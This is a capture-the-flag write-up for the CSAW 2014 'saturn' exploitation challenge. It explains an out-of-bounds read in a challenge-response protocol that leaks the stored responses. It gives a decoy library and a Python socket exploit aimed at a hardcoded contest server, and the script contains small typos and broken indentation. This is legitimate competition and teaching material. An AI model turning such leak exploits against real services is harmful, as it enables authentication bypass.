CSAW CTF 2014 – Exploitation 400 – saturn writeup

This exploitation challenge is based on a Challenge-Response-Authentication-Protocol system.
The goal was to figure out a way to get challenges the responses without the challenge-response keygen algorithm.

Running the binary

Since we don't have the challenge-response keygen algorithm (libchallengeresponse.so) we can create a decoy one.

```
#include <stdio.h>

int fillChallengeResponse(unsigned int *a, unsigned int *b) {
    unsigned int data;
    int i;
    FILE *fp;
    fp = fopen("/dev/urandom", "r");

    for(i = 0; i < 8; i++) {
        fread(&data, 1, sizeof(unsigned int), fp);
        *(a + i) = data;
        *(b + i) = data;
    }
    fclose(fp);
    return 0;
}
```

Compile the C program aboce with GCC and put libchallengeresponse.so in /lib32/.

```
gcc -m32 -shared -o libchallengeresponse.so -fPIC libchallengeresponse.c
```

The vulnerability

The challenges are stored from **0x0804A0C0** to **0x0804A0DF**, the responses are stored from **0x0804A0E0** to **0x0804A0F**.
If we send **0xA0** to the server we get the first challenge, if we send **0xA2** we get the third challenge.

During a challenge request the lowest byte value is multiplied by 4. It represents the offset to step to the next 32 bit value.
The vulnerability lies in the fact that we can manipulate the offset from **0x0** to **0xF** in a challenge request.

The program expect the client to request challenge from **0xA0**0xA7.

If the client sends **0xA8** the query is valid and the first response is sent back.

The exploit

```
#!/usr/bin/env python
import socket
import struct

TCP_IP = '54.85.89.65'
TCP_PORT = 8888
BUFFER_SIZE = 512

challenges = []

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TCP_IP, TCP_PORT))

# Header
s.recv(BUFFER_SIZE)

# Get challenge 0
s.send("\xA8")
chall = s.recv(4)
challenges.append(chall)

# Get challenge 1
s.send("\xA9")
chall = s.recv(4)
challenges.append(chall)

# Get challenge 2
s.send("\xAA")
chall = s.recv(4)
challenges.append(chall)

# Get challenge 3
s.send("\xAB")
chall = s.recv(4)
challenges.append(chall)

# Get challenge 4
s.send("\xAC")
chall = s.recv(4)
challenges.append(chall)

# Get challenge 5
s.send("\xAD")
chall = s.recv(4)
challenges.append(chall)

# Get challenge 6
s.send("\xAE")
chall = s.recv(4)
```

```
    challenges.append(chall)

    # Get challenge 7
    s.send("\xAF")
    chall = s.recv(4)
    challenges.append(chall)

    # Send challenge response
    chall_res = "\xE0" + challenges[0] + "\xE1" + challenges[1]  + "\xE2" +
    challenges[2]  + "\xE3" + challenges[3]  + "\xE4" + challenges[4]  + "\xE5" +
    challenges[5]  + "\xE6" + challenges[6]  + "\xE7" + challenges[7]
    s.send(chall_res)

    # Get flag
    s.send("\x80")

    # Display flag
    data = s.recv(BUFFER_SIZE)
    print data

    # Exit
    s.close()
```